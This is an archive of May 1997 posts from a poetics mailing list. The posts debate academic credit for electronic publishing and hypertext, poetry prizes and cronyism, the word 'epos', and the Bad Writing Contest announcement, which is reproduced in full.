It is interesting. I took some time to dig around. In fact, the semantic range of the word "epos" is wide at the beginning [Homer, Pindar], wide at the middle [say, Plato or Aristotle], and wide at the end [the scholiasts]. That is, the word covers a rather large territory from Homer all the way down to late antiquity. I won't go into details. I also looked into the derivate "epikos". It turns out to be unattested until just abt the Christian era. The Latin borrowing "epicus" surfaces in the 3rd cent BCE, usually accompanying words like "poeta", "poema, "carmen".

In short, there is no evidence whatsoever that the Grk word changed its meaning: its mg. was *always* broader than "our" "epic". It seems to me that it might be more likely that the semantic change is the responsibility of Latin writers, rather than Greek ones. I'm going to consult some classicists to see what they think.

> *But I'm a conservative old fart in these matters. "Problematize," for instance, strikes me as a barbaric usage.*

How abt Jameson's prose?
>
Hope you are enjoying our tennis match. Yr. serve.

George

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676. **Miekal And**
Re: electronic publishing
Thu 22 May 1997

Maria Damon wrote:

> *none. i submitted the hypertext i'm working with miekal on, and it didn't even rate as anything. zippo, zilch, bubkis, nada, etc.--md*

the key to this maria, is to get hardcopy journals to review these online texts & then use the reviews to validate the virtual. by the way when are we gonna finish that puppy?

miekal

in wordless wonder

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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677. **Miekal And**
Re: electronic publishing
Thu 22 May 1997

[redacted] wrote:
>
> maria, is there anybody in your dept. whose responsibilities could be
> conceived, at least in part, in electronic terms---somebody who is
> understood as "the" hypermedia, hyperfiction, etc., expert?...

maria, I thot the creative writing dept was interested in a computer poetry course. that would be one way to modernize the academy.

> *i can think of LOTS of ways to go with this... one way would be to drop a citation list the size of mt. everest on top of somebody or other's head---scholarly essays and books that deal with hypermedia, the effect of which is to legitimate ht as scholarly-academic practice... another is to try to publish your and miekal's hypertext... technical difficulties rear their ugly head here---there are more and more online journals looking for such items, though this is limited to an html/java interface---but if the ht is in, say, storyspace, you can always try a publisher like eastgate*

> *(and storyspace exports to html, with some difficulties likely)... and yet another way is to actually compose a (print!) justification for doing such work...*

pleasureTEXTpossession is online at my Qazingulaza site, so in that sense it is accessible & published. it is specifically a work in html so Im not sure storyspace would coincide. we have discussed a hardcopy version, but this of course does nothing to address the legitimacy of the virtual text.

probably best to take all three tacks at once...
>
> if i can help in any way, just let me know... i'm sure john cayley, jim
> rosenberg and others on this list can help too... for what it's worth, i'm
> faced mself with much the same problem...

personally feel that while Maria is probably not in a position to tweak this situation to her advantage, that as an issue for writers in electronic space these are the kinds of pigeonholing barriers that want to put electronic writing in the same dusty file cabinet as concrete & visual, sound, performance, & other traditional edges of poetrivance.

lurking forth

miekal

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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678. Maria Damon
Re: electronic publishing
Thu 22 May 1997

At 2:53 PM -0500 5/22/97, [redacted] wrote:
>maria, of course your dept. doing that is absolute bullshit...
>
>this is the sort of thing that's calculated to ruin the eletronic
>environment, at least in terms of academic participation... next they'll be
>saying that "only such & such online work" will count toward tenure... tell
>me, what "value" do they assign to a hypertext?...

none. i submitted the hypertext i'm working with miekal on, and it didn't even rate as anything. zippo, zilch, bubkis, nada, etc.--md

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679. **Steven Marks**
Re: arguing orality
Thu 22 May 1997

On Thu, 22 May 1997, George Thompson wrote:

> *I'll make a few general points that may be of interest to the list as a whole, and then maybe we can continue the discussion of details off-list [I'd like to; the issues are important for me]. I do not want to step into*

I'd like for George and others to keep this discussion on-list. Are there others who would like the thread to be visible? I backchanneled GT and he said he would if enough were interested. What do you-all say?

cheers,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

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680. **amato**
Re: electronic publishing
Thu 22 May 1997

maria, is there anybody in your dept. whose responsibilities could be conceived, at least in part, in electronic terms---somebody who is understood as "the" hypermedia, hyperfiction, etc., expert?...

i can think of LOTS of ways to go with this... one way would be to drop a citation list the size of mt. everest on top of somebody or other's head---scholarly essays and books that deal with hypermedia, the effect of which is to legitimate ht as scholarly-academic practice... another is to try to publish your and miekal's hypertext... technical difficulties rear their ugly head here---there are more and more online journals looking for such items, though this is limited to an html/java interface---but if the ht is in, say, storyspace, you can always try a publisher like eastgate (and storyspace exports to html, with some difficulties likely)... and yet another way is to actually compose a (print!) justification for doing such work... probably best to take all three tacks at once...

if i can help in any way, just let me know... i'm sure john cayley, jim rosenberg and others on this list can help too... for what it's worth, i'm faced mself with much the same problem...

best,

joe

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681. Wystan Curnow
Contests, competitions, prizes
Thu 22 May 1997

Last time I had anything to do with contests, competitions, prizes was in Korea. I was the New Zealand 'commissioner' for the CheChu Biennale. An Asia-Pacific affair with Japan, Taiwan, Singapore, Philipines, Indonesia, Australia and New Zealand represented. And there were prizes. I've never been involved in an exhibition with prizes before. Although there's still one attached to the Venice Biennale, it is definitely non-standard behaviour. Here at home sponsors like this idea because 'competition' is belongs to a 'language they understand' and the arts don't, but equally because its got PR value. 'And the winners are'. And this is why lots of us don't like it--it makes a circus of what we do. But back to Korea, not only was the media--swarms of roving video cameras, mainly, held by men in Hawaiin-style shirts, while everyone else in the audience except the artists from foreign countries were wearing dark suits-- there at the prize-giving, not only were the prizes given out by the Governor of the Province, but also these chrome 'silver' platters in red silked- lined, velvet-covered boxes, inscribed to the winners, and ' medals' set in blocks of clear plastic in similar boxes for all the artists. The Grand Prize went to one of the Korean artists, then one artist from each of the other countries got a prize and platter, too. Several hundred people were at this gathering which occurred at 10.30 in the morning. We all trooped out then and outside a brass band was playing, and there were traditional dances, and there was a flag-raising for the exhibition. After than there was the ribbon- cutting. I had a part to play in this. Along with the other commissioners I was given a pair of white gloves and apair of sissors with sheep-skin covered handles and altogether, at the count of three, we cut this ribbon to 'open' the exhibition. However, it didn't end here because there were three venues for the Biennale on different parts of Chechu Island, so we spent the rest of the day on buses going to these venues and repeating the speeches and the ribbon-cutting.

Wystan

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682. **Joseph Duemer**
Re: arguing orality
Thu 22 May 1997

I'd be happy to see this discussion continue on-list.

JD_____

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of the earth both comes and goes at once."
Wallace Stevens

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683. **Pam Brown**
The Rich
Thu 22 May 1997

Christina quoted -
" "When shit is worth money, the poor will be born without assholes"

--dbchirot"

"If the rich could hire people to die for them, the poor would make a wonderful living."
--George Alexander, 'Sparagmos'

Pam Brown

↑ Index

684. **Pam Brown**
Amended Rich
Thu 22 May 1997

The crucial word is "other"...
the actual quote is -
"If the rich could hire other people to die for them, the poor would make a wonderful living."

apologies to George Alexander...

Pam

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685. Tom Mandel
Paul Hoover
Thu 22 May 1997

Paul Hoover is a good friend of mine; he is a wonderful writer and person. I hope he gets the Nobel Prize!

I've met Forrest Gander a couple of times too; he seemed really interesting and interested, and I think he's a terrific writer too. I hope he gets the Nobel prize too.

What the hell is the matter with you people?

Who wrote that stupid post anyway? I'd bet at least 3 nobel prizes it was written by a man and not a woman -- how do I know that?

Spank his ass. Heeesh!

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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686. Tom Mandel
Hey, cut that out!
Thu 22 May 1997

First Kent Johnson apologizes to Paul Hoover for smearing him, then Mike Boughn and George Thompson start kissing each other on the cheek.

Hey, cut it out! Soon there's gonna be nobody left for me to paste on the puss!

tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]

****
Join the Caucus Conversation

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687. **Tom Mandel**
Tarfon and successors
Thu 22 May 1997

But the connection between Tarfon and Kafka is not an accidental one at all. Kafka would certainly have read Pirke Avot, and he was certainly influenced by it. And, underlying the influence is something that makes it possible and is of a more profound interest. To the wise a hint is sufficient.

Tom

Date: Tue, 20 May 1997 22:21:48 -0500
From: Joseph Zitt <[redacted]>
Subject: Re: More Poetry & the Public Sphere Conf Summary (LONG)

henry wrote:
>
> On Mon, 5 May 1997 11:21:06 -0400 Brian McHale said:
> >And she quoted the rabbis (but which one?): "It is not incumbent on
> you to fin-
> >ish the task. Nor are you free to give it up."
> Wasn't that Rabbi Franz K. of Prague?

In case no one has answered this: it's Rabbi Tarfon, as quoted in Pirkei Avot 2:20. (The book can be found in English variously as "Sayings of the Fathers" or "Ethics of the Fathers" or, in Rami Shapiro's beautiful recent translation, as "Wisdom of the Jewish Sages".

--

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****
Join the Caucus Conversation

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688. **David Israel**
how rich
Thu 22 May 1997

Pam Brown wrote . .

<< The crucial word is "other"... the actual quote is -
"If the rich could hire other people to die for them, the poor would make
a wonderful living."

apologies to George Alexander... >>

In any event, those 2 quotes went quite nicely together. As for this "other" issue -- must say I found the rhythms of the sentence in your initial (san-other) version much better. Don't know who this Geoerge Alexander is (or if he wrote in English), but imho [as they say], the "other" is (already) implicit & (thus) superfluous. ALSO (more importantly), without the word "other," the sentence has a (considerably) greater startlement & twist of surprise to it. With "other," one is too much set up for the sequel.

(Well there's my editorial opinion, in fine.)

d.i.

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689. **rob wilson**
Robocop Lives In Christchurch
Thu 22 May 1997

The bias and perversity of this "Bad Writing" award was clear to me right away, and the more I thought about it to be associated (with Jameson) and the downfall of a certain kind of narrow English writing ("real thinking") and the downfall, alas, of "English as an academic discipline" was something to take (perverse) pleasure in. The attack on language is, per usual, a veiled attack on a differetn kind of thinking, another writing style that would push against the limits of clarity, conformist assumptions of social reality, and "common sense." That I was writing about the sublime cyborg, Robocop, and tried to give the sentences a parodic feel of the postmodern machinic being would be lost on a lecturer in the philosophy of art who cannot tell the sublime from the beautiful nor Jameson from an idiot (or just resentful mediocrity?) like himself. The push was towards the "dialectical sentence" that trries to incorporate the difficulty of grasping and reading the social into its very formation. What rough beast, its hour come round at last, slouches, towards Christchurch New Zealand to be born? I do. Rob Wilson

PS. And thanks, Maria Damon et al, for reading between the lines of that AP anti-language release.

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690. **mgk3k**
Re: electronic publishing
Fri 23 May 1997

The University of Virginia now hosts complete archives of Humanist, a humanities computing discussion list which first went online back in 1987 (an announcement from the folks responsible is forthcoming).

In the meantime, and in the context of this current Poetics thread, I offer the following, one of the very earliest messages posted to Humanist:

> *Date: 30 May 1987, 16:24:10 EDT*
> *Reply-To: [redacted]*
> *Sender: HUMANIST Discussion <[redacted]>*
> *From: [redacted]*
>
> *A colleague from Arizona has pointed out to me that pre- or co-publication of material on HUMANIST and in printed journals is or could be problematic. A journal editor might easily get upset, and whether the law would interfere or not, none of us wants to make that kind of enemy. I know there are some editors among you and, I suspect, several authors of review articles, so I would guess that as a group we are well qualified to talk about the issue. On the one hand publication in a printed journal is professionally advantageous if not necessary; on the other, the major journals can be far too slow for material of this nature. So far, electronic publication has not been well respected -- often for very good reasons. The informality of the medium (whether historically or intrinsically determined) seems to have encouraged sloppiness; one tends to dash off a note not caring very much if the language is just right. The primitive nature of many mainframe editors doesn't help.*
> *It seems to me that an open discussion of electronic publication would be an excellent beginning. What attitude would you editors take if a review article, say a very good one, were to appear first on HUMANIST? If electronic publication had to be in lieu of appearance in a respected journal, what would you authors do? What sort of guidelines might be worked out for authors and editors? How can we so raise the quality of electronic publication that it would gain the respect of wired and unwired scholars alike?*
> *Replies to these questions should be directed to all HUMANISTs, don't you think?*

I'm not sure what to add here, except that obviously legitimating online publication has been an issue for longer than we usually imagine. Seems to me that the

real difference ten years has made is in the dialation of the audiences for online work, rather than in its professional validation (though I think there's hope there too).

--Matt

==========
========== Matthew G. Kirschenbaum
University of Virginia [redacted] Department of English
http://faraday.clas.virginia.edu/~mgk3k/ The Blake Archive | IATH

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691. **Pam Brown**
Re: how rich
Fri 23 May 1997

I'm not actually CERTAIN the "other" was in that quote...I'm at work - my books are at home.So why did I apologise ? Because maybe I'd misquoted... Anyway, George Alexander is a contemporary Australian writer/art critic/curator (of Greek origin).

Cheers, Pam
11:53 PM 22/5/97 -0400, you wrote:
>Pam Brown wrote . .
>
><< The crucial word is "other"... the actual quote is -
>"If the rich could hire other people to die for them, the poor would make
>a wonderful living."
>
>apologies to George Alexander... >>
>
>In any event, those 2 quotes went quite nicely together. As for this
>"other" issue -- must say I found the rhythms of the sentence in your
>initial (san-other) version much better. Don't know who this Geoerge
>Alexander is (or if he wrote in English), but imho [as they say], the
>"other" is (already) implicit & (thus) superfluous. ALSO (more
>importantly), without the word "other," the sentence has a
>(considerably) greater startlement & twist of surprise to it. With "other,"
>one is too much set up for the sequel.
>
>(Well there's my editorial opinion, in fine.)
>
>d.i.

>
>

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692. **Thomas M. Orange**
electronic publishing
Fri 23 May 1997

---

maria d wrote: I recently published a 30pp ms article in Postmodern Culture, and tho' i proved to them that the journal was refereed and owned by Johns Hopkins, they assigned the absolute minimum, the same as i'd have gotten for a couple of 500 word reviews.

PMC may be distributed by hopkins -- or isn't it oxford up? regardless, its co-founders, john unsworth and eyal amiran, are currently at univ of virigina and north carolina state univ, respectively.

givin' credit where it's due,
tom

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693. **Martin J Spinelli**
LINEbreak in RealAudio at the EPC
Fri 23 May 1997

Folks,

LINEbreak, the 1996 radio series hosted and co-produced by Charles Bernstein, is now available at the Electronic Poetry Center in easy-to-use RealAudio format.

http://writing.upenn.edu/epc/linebreak

LINEbreak was a series of weekly performance/interview programs featuring a wide array of poets and prose writers (Robert Creeley, Susan Howe, Jackson Mac Low, Bruce Andrews, Barbara Guest, Lyn Hejinian, Ray Federman, Madeline Gins, Ron Silliman, Cecilia Vicua, Dennis Tedlock, Steve McCaffery, Ted Pearson, Peter Straub, Carla Harryman, Kenneth Sherwood, Loss Pequeo Glazier, Jena Osman, Fiona Templeton, Luci Tapahonso, Ben Yarmolinsky, Lance Olsen, Karen Mac Cormack, Ben Friedlander, Paul Auster, Jerome Rothenberg, Hannah Weiner, and Leslie Scalapino) which recently won a national award for radio programming.

Programs and excerpts have been up for some time at the EPC in other soundfile formats. In recent weeks we've made the switch to RealAudio which requires no downloading of files (just click and listen). If your computer is not kitted out with RealAudio we've included clear information on how to install it. But if you have any further questions about playing soundfiles on your system don't hesitate to email me.

For those of you unfamiliar with the EPC, it is (by our reckoning) the largest free online collection of poetry and poetics related material. There is now, for example, more than 20 hours of audio up at the EPC. Use it!

Best,
Martin

Martin Spinelli [redacted]
LINEbreak Producer
SUNY Buffalo English Department
LINEbreak http://writing.upenn.edu/epc/linebreak
EPC Sound Room http://writing.upenn.edu/epc/sound

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694. Schuchat Simon
Re: NEA, cronyism, etc.
Fri 23 May 1997

---

the value of winning a prize or grant, it would seem to me, breaks down into several aspects. there's the actual money, which certainly is a positive for whoever gets it. then there's the endorsement value, if you put it on your resume or whatever. and finally, there's the psychic income from "winning," competing, being chosen, etc. if you get the prize because it was wired for your before hand, then you certainly don't get the third benefit, and the second type of value is diminished to the extent that the "riggedness" is known, (and anyway, the person who gave you the prize would probably give you a blurb quote or a letter of recommendation for a job, etc, etc, so from the "prize" poiont of view you aren't getting full value either if it was an inside job. so there's just the money, and that matters, but there are other ways of getting money, would you rather Jorie Graham gave you $5,000 in prize money or $10,000 for an easy gig as a "research assistant" where all you had to was take books out of the library for her? so patronage can be provided in other ways as well.

when I was an undergraduate I won a poetry prize of some sort given by my university, but since I figured that the sole creative writing professor there had been the judge, I didn't think particularly much of it. I think I only entered because he asked me to, it was no big deal. the money was something like $50 and I guess I spent it on books right away. on the other hand, a few years later, I was a CAPS semi-finalist -- never got a cent, didn't win the prize, but the pleasure of being chosen by some anonymous reader was much greater than winning the other thing & I'm sure I boasted much more over the latter than the former.

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695. Maria Damon (Maria Damon)
Re: bad writing
Fri 23 May 1997

---

terrific post, ghoul(d).

At 3:12 PM 5/23/97, henry g wrote:
>More off-the-top wit & wisdom from your digital Polonius:
>
>re: bad writing
>Okay, so it's fun analyzing turgid style & pointing it out, but who wants
>to be a writing policeman after 7th grade english class? Lots of fields
>of scholarship can be mocked for hair-splitting abstrusities, jargon, &
>circularities. & some I suppose for intentional or subconscious or
>trained obfuscation. But bad writing is both a convenient club and the
>wrong handle. Seems to me in any argued discourse you want to look for
>the logic of it, the correlated evidence, the arguments - and either
>disagree, point out weaknesses, or agree with it. After seventh grade,
>style - however sick, corrupt, decadent, & just plain bad - is, contra
>Pound, not relevant. I'm not talking about poetry here (sorry, you
>"creative critics"). A lot of these writing policemen claim their targets
>are obfuscatory or even illogical, when basically they haven't bothered
>(& who can blame them) to master the writer's terms. - H. Gould

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696. Maria Damon (Maria Damon)
Re: Jameson contra Jameson
Fri 23 May 1997

At 1:23 PM 5/23/97, Joe Safdie wrote:
...
>

>Count me as one who'd like to see this happen and for whom "accessible" is
>not necessarily a dirty word.

nothing wrong w/ accessibility; but one question shd be: accessible to
whom, under what circumstances, etc? accessibility and the politics
thereof are not transparently self-evident.
>
>But -- to twist the question a little -- are people entirely sanguine
>about seeing Benjamin JUST as a link in the chain of philosophical
>Marxism? I've always thought the Gershom Scholem Kabbalistic side of his
>thought at least as fascinating; in fact, that he combines these two
>strands at all may be the most fascinating thing about him! Interesting
>seeing Brecht and Scholem in a tug-of-war for his affections.
>
>Kabbala can get pretty abstruse too, of course . . .
>
yes indeed; why split benjamin up this way? his own prose is so organically
wide-ranging and brilliant...

... Brad Gooch's bio
>of Frank O'Hara *City Poet*. Has this book been discussed on the list at
>all? Does anyone have any strong opinions about it one way or the other?

i was disappointed, having read edmund white's genet bio shortly before embarking on gooch...lots of pages, lots of pointless "information," little insight or depth...

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697. **jdhollo**
who gets the prizes, etc.
Fri 23 May 1997

May I suggest that the (yes, yes, all right, 'so-called') Iowa Writers Workshop "network" is perhaps less like the nostalgic Mafia or the international cartels presently taking over the globe, but rather like the old Soviet Writers' Union?

Operating as it does in these laissez-the-fat-cats-faire Untied States (no typo), it is of course not so tightly organized and not as clear about its socio-aesthetico-political agenda, but you're either in it or you ain't. (Barry Goldensohn, bless his heart, pointed this out to me many years ago in Iowa City: "You're just not *family*.") Many decades of transmitted experience in maneuvering alumni into key positions on prize (award, fellowship) committees, writing program associations, and university press boards are bound to bear fruit such as those described in Gwyn McVay's post.

One must admit, however, that one is more fortunate than poets such as Arkadii Dragomoschenko and Ilya Kutik were in pre-1989 Russia: the Small Press Distribution catalogue, the Buffalo Poetics Discussion Group, programs at Brown and Buffalo, New College of California, The Jack Kerouac School of Writing and Poetics at The Naropa Institute, etc., had no counterparts in that place and time.

Thus, from the writing person's point of view, late-stage corporate capitalism may be seen as preferable to Stalinism, in that it is closer to medieval feudalism: troubadours hanging out with the "right" and better-connected overlords probably stood a better chance of having their works survive to be translated by (definitely non-"Iowa") Paul Blackburn on smoky nights above McSorley's Saloon:

It is worthless to write a line
if the song proceed not from the heart:
nor can the song come from the heart
if there is no love in it. ...
A fool's love is like verse poor in the making,
only appearance and the name having,
for it loves nothing but itself, can
take nothing of good,
corrupts the rhyme.

And their singing is not worth a dime

--Bernart de Ventadorn / Paul Blackburn

Yes, friends, irony is not singular: it is ironies upon ironies ...

Anselm Hollo

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698. **DS**
Atua Wera
Fri 23 May 1997

Back to Epics briefly, i just purchased Kendrick Smithyman's Atua Wera, which the blurb describes as "a New Zealand epic for the late twentieth century."

Whatever, it seems to contain some good poetry & fascinating history, page 10 & so far thumbs up.
Dan

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699. **sschu30844**

Fwd: Bad Writing Awards (fwd)

Fri 23 May 1997

My now famous colleague, Rob Wilson, asks me to send this along. sms
---
Forwarded message:
From: [redacted] (Rob. Wilson)
To: [redacted]
Date: 97-05-23 00:13:17 EDT

Susan, Could you forward this to the "poetics list" so that they can get a fuller sense of what-- ideologically, and in terms of language police-- these "Bad Writing Awards" stand for? Sayonara Tinfish, Rob

---------- Forwarded message ----------
Date: Thu, 22 May 1997 17:24:00 -1000
From: rob wilson <[redacted]>
To: [redacted]
Subject: Bad Writing Awards (fwd)

---------- Forwarded message ----------
Date: Wed, 21 May 1997 08:21:37 -1000
From: Houston Wood <[redacted]>
To: Robert J Wilson <[redacted]>
Subject: Bad Writing Awards (fwd)

This was fowarded to me. So, in case you still haven't seen it, here it is. And, I repeat: This is complementary. If you got nothing (that they are envious of), then you got nothing to lose (or mock).

Houston Wood [redacted] [redacted]

```
 _o    \o_         __|     \ /      |__         o _    o/   \o/
 __|- __/    \__/o    \o     |     o/     o/__   /\    /|     |
    >   >    /  \     ( \   /o\   / )     |  (\  / |   < \   / \
```

---------- Forwarded message ----------

Date: Tue, 20 May 1997 23:27:23 -0500 (CDT)
From: [redacted]

Bad Writing Contest Winners--

We are pleased to announce winners of the third Bad Writing Contest, sponsored by the scholarly journal Philosophy and Literature (published by the Johns Hopkins University Press) and its internet discussion group, PHIL-LIT.

The Bad Writing Contest attempts to locate the ugliest, most stylistically awful passage found in a scholarly book or article published in the last few years. Ordinary journalism, fiction, etc. are not eligible, nor are parodies: entries must be non-ironic, from actual serious academic journals or books. In a field where unintended self-parody is so widespread, deliberate send-ups are hardly necessary.

This year's winning passages include prose published by established, successful scholars, experts who have doubtless labored for years to write like this. Obscurity, after all, can be a notable achievement. The fame and influence of writers such as Hegel, Heidegger, or Derrida rests in part on their mysterious impenetrability. On the other hand, as a cynic once remarked, John Stuart Mill never attained Hegel's prestige because people found out what he meant. This is a mistake the authors of our our prize-winning passages seem determined to avoid.

* The first prize goes to a sentence by the distinguished scholar Fredric Jameson, a man who on the evidence of his many admired books finds it difficult to write intelligibly and impossible to write well. Whether this is because of the deep complexity of Professor Jameson's ideas or their patent absurdity is something readers must decide for themselves. Here, spotted for us by Dave Roden of Central Queensland University in Australia, is the very first sentence of Professor Jameson's book, Signatures of the Visible (Routledge, 1990, p. 1):

"The visual is _essentially_ pornographic, which is to say that it has its end in rapt, mindless fascination; thinking about its attributes becomes an adjunct to that, if it is unwilling to betray its object; while the most austere films necessarily draw their energy from the attempt to repress their own excess (rather than from the more thankless effort to discipline the viewer)."

The appreciative Mr. Roden says it is "good of Jameson to let readers know so soon what they're up against." We cannot see what the second "that" in the sentence refers to. And imagine if that uncertain "it" were willing to betray its object? The reader may be baffled, but then any author who thinks visual experience is essentially pornographic suffers confusions no lessons in English composition are going to fix.

* If reading Fredric Jameson is like swimming through cold porridge, there are writers who strive for incoherence of a more bombastic kind. Here is our next winner, which was found for us by Professor Cynthia Freeland of the University of Houston. The writer is Professor Rob Wilson:

"If such a sublime cyborg would insinuate the future as post-Fordist subject, his palpably masochistic locations as ecstatic agent of the sublime superstate need to be decoded as the 'now-all-but-unreadable DNA' of a fast deindustrializing Detroit, just as his Robocop-like strategy of carceral negotiation and street

control remains the tirelessly American one of inflicting regeneration through violence upon the racially heteroglossic wilds and others of the inner city."

This colorful gem appears in a collection called The Administration of Aesthetics: Censorship, Political Criticism, and the Public Sphere, edited by Richard Burt "for the Social Text Collective" (University of Minnesota Press, 1994). Social Text is the cultural studies journal made famous by publishing physicist Alan Sokal's jargon-ridden parody of postmodernist writing. If this essay is Social Text's idea of scholarship, little wonder it fell for Sokal's hoax. (And precisely what are "racially heteroglossic wilds and others"?) Dr. Wilson is an English professor, of course.

* That incomprehensibility need not be long-winded is proven by our third-place winner, sent in by Richard Collier, who teaches at Mt. Royal College in Canada. It's a sentence from Making Monstrous: Frankenstein, Criticism, Theory, by Fred Botting (Manchester University Press, 1991):

"The lure of imaginary totality is momentarily frozen before the dialectic of desire hastens on within symbolic chains."

* Still, prolixity is often a feature of bad writing, as demonstrated by our next winner, a passage submitted by Mindy Michels, a graduate anthropology student at the American University in Washington, D.C. It's written by Stephen Tyler, and appears in Writing Culture, edited (it says) by James Clifford and George E. Marcus (University of California Press, 1986). Of what he calls "postmodern ethnography," Professor Tyler says:

"It thus relativizes discourse not just to form--that familiar perversion of the modernist; nor to authorial intention--that conceit of the romantics; nor to a foundational world beyond discourse--that desperate grasping for a separate reality of the mystic and scientist alike; nor even to history and ideology--those refuges of the hermeneuticist; nor even less to language--that hypostasized abstraction of the linguist; nor, ultimately, even to discourse--that Nietzschean playground of world-lost signifiers of the structuralist and grammatologist, but to all or none of these, for it is anarchic, though not for the sake of anarchy but because it refuses to become a fetishized object among objects--to be dismantled, compared, classified, and neutered in that parody of scientific scrutiny known as criticism."

* A bemused Dr. Tim van Gelder of the University of Melbourne sent us the following sentence:

"Since thought is seen to be 'rhizomatic' rather than 'arboreal,' the movement of differentiation and becoming is already imbued with its own positive trajectory."

It's from The Continental Philosophy Reader, edited by Richard Kearney and Mara Rainwater (Routledge, 1996), part of an editors' introduction intended to help students understand a chapter. Dr. van Gelder says, "No undergraduate student I've given this introduction to has been able to make the slightest sense of it. Neither has any faculty member."

* An assistant professor of English at a U.S. university (she prefers to remain anonymous) entered this choice morsel from The Cultures of United States Imperialism, by Donald Pease (Duke University Press, 1993):

"When interpreted from within the ideal space of the myth-symbol school, Americanist masterworks legitimized hegemonic understanding of American history expressively totalized in the metanarrative that had been reconstructed out of (or more accurately read into) these masterworks."

While the entrant says she enjoys the Bad Writing Contest, she's fearful her career prospects would suffer were she to be identified as hostile to the turn by English departments toward movies and soap operas. We quite understand: these days the worst writers in universities are English professors who ignore "the canon" in order to apply tepid, vaguely Marxist gobbledygook to popular culture. Young academics who'd like a career had best go along.

* But it's not just the English department where jargon and incoherence are increasingly the fashion. Susan Katz Karp, a graduate student at Queens College in New York City, found this splendid nugget showing that forward-thinking art historians are doing their desperate best to import postmodern style into their discipline. It's from an article by Professor Anna C. Chave, writing in Art Bulletin (December 1994):

"To this end, I must underline the phallicism endemic to the dialectics of penetration routinely deployed in descriptions of pictorial space and the operations of spectatorship."

The next round of the Bad Writing Contest, results to be announced in 1998, is now open with a deadline of December 31, 1997. There is an endless ocean of pretentious, turgid academic prose being added to daily, and we'll continue to celebrate it. **********

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700. **orpheus**
Re: clarification
Fri 23 May 1997

agree agree agree agree agree agree agree agree agreed

agreed agreed

agreed agreed

"if shit was worth money the poor wouldn't have assholes"

and so says our old friend Freud filthy lucre
money money money

makes the artist mad,

makes the poet resentful

where is it in the cantos that Ez Pound

rants about dough, scratch, cash, currency, bucks, moolah,
change, silver, paper,
money is like drugs dont neva' end never nevah
He also talks that line in ABC… In Guide to Kulchur

ahyes, of course

the cantos and of course,

and Mauberly
"And no one knows, at sight, a masterpiece.
And give up verse, my boy,

there's nothing in it."

"Butter reviewers. From fifty to thee hundred
I rose in eighteen months;
The hardest nut I had to crack
Was Mr. Dundas."

Canto XLV

….With usura no picture is made to endure nor to live with. but it is made to sell and sell quickly

…
They have bought whores for Eleusis
Corpses are set to banquets
at behest of usura.

And Tzara for the

"Is the aim of art to make money and cajole the nice nice
bourgeois.
Rhymes ring with the assonance of the currencies and the inflexion
slips along the line of the belly in profile."
Manifesto 1918
"All groups have arrived at this trust company after riding their
steeds on various comets." Ditto.

****

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701. **Susan Wheeler**
AWP Fandango
Fri 23 May 1997

As one of the screeners for Jorie Graham's judging of the aforementioned AWP contest, I can attest that this chump did not recognize one of the 100+ manuscripts I read, and that the screening represents a good week from this life, gone. Back to Catullus for some good epithets.

Susan Wheeler
[redacted]
voice/fax [redacted]

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702. **henry**
Re: Tarfon and successors
Fri 23 May 1997

On Thu, 22 May 1997 22:18:52 -0500 Tom Mandel said:
>But the connection between Tarfon and Kafka is not an accidental one at
>all. Kafka would certainly have read Pirke Avot, and he was certainly
>influenced by it. And, underlying the influence is something that makes it
>possible and is of a more profound interest. To the wise a hint is sufficient.
>
>Tom

Actually I believe Kafka uses the saying almost verbatim somewhere, or perhaps in many, many variations. Sorry I can't be more specif. - Henry

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703. **henry**
Re: The Rich
Fri 23 May 1997

> " "*When shit is worth money, the poor will be born without assholes*"
>
> *--dbchirot*" *[quoting the proverb]*

Not to worry. Cynicism (idealism too!) can make anyone an asshole.

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704. **Maria Damon**
Re: electronic publishing
Fri 23 May 1997

At 10:07 PM +0100 5/22/97, Miekal And wrote:
>Maria Damon wrote:
>
>
>> none. i submitted the hypertext i'm working with miekal on, and it didn't
>> even rate as anything. zippo, zilch, bubkis, nada, etc.--md
>>
>> >
>
>
>the key to this maria, is to get hardcopy journals to review these
>online texts & then use the reviews to validate the virtual. by the way
>when are we gonna finish that puppy?
>
>
>miekal
>
>in wordless wonder

hey baby, i'm planning to come out after school's over, second week of
june, say, for a few dayz? howz that by you?
>
>--
>@#
>Dreamtime Village website: http://net22.com/dreamtime
>QAZINGULAZA: And/Was/Wakest website:
>http://net22.com/qazingulaza
>e-mail for DT & And/Was: [redacted]

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705. **Maria Damon**
Re: electronic publishing
Fri 23 May 1997

---

thanks guyz, the problem isn't that my colleagues don't know about technology. they teach courses in it, encourage us to do all kinds of "online teaching" for extra $, and have endless seminars for us in whch we are taught the wonders and glories of modern technology. we all have highpowered computers in our offices whether we want them or not. departmental business is routinely conducted by

e-mail. the problem is that they don't like to give raises, and will use any excuse not to. also, the system is very much at the mercy of how well you get along with the people on the merit review committee, how well you get along with the chair, how these indivduals feel about the kind of work one does, etc. it's all about petty internicene politics rather than any actual understanding of the value of one's work.

At 10:18 PM +0100 5/22/97, Miekal And wrote:
>[redacted] wrote:
>>
>> maria, is there anybody in your dept. whose responsibilities could be
>> conceived, at least in part, in electronic terms---somebody who is
>> understood as "the" hypermedia, hyperfiction, etc., expert?...
>
>maria, I thot the creative writing dept was interested in a computer
>poetry course. that would be one way to modernize the academy.
>
>
>> i can think of LOTS of ways to go with this... one way would be to drop a
>> citation list the size of mt. everest on top of somebody or other's
>> head---scholarly essays and books that deal with hypermedia, the effect of
>> which is to legitimate ht as scholarly-academic practice... another is to
>> try to publish your and miekal's hypertext... technical difficulties rear
>> their ugly head here---there are more and more online journals looking for
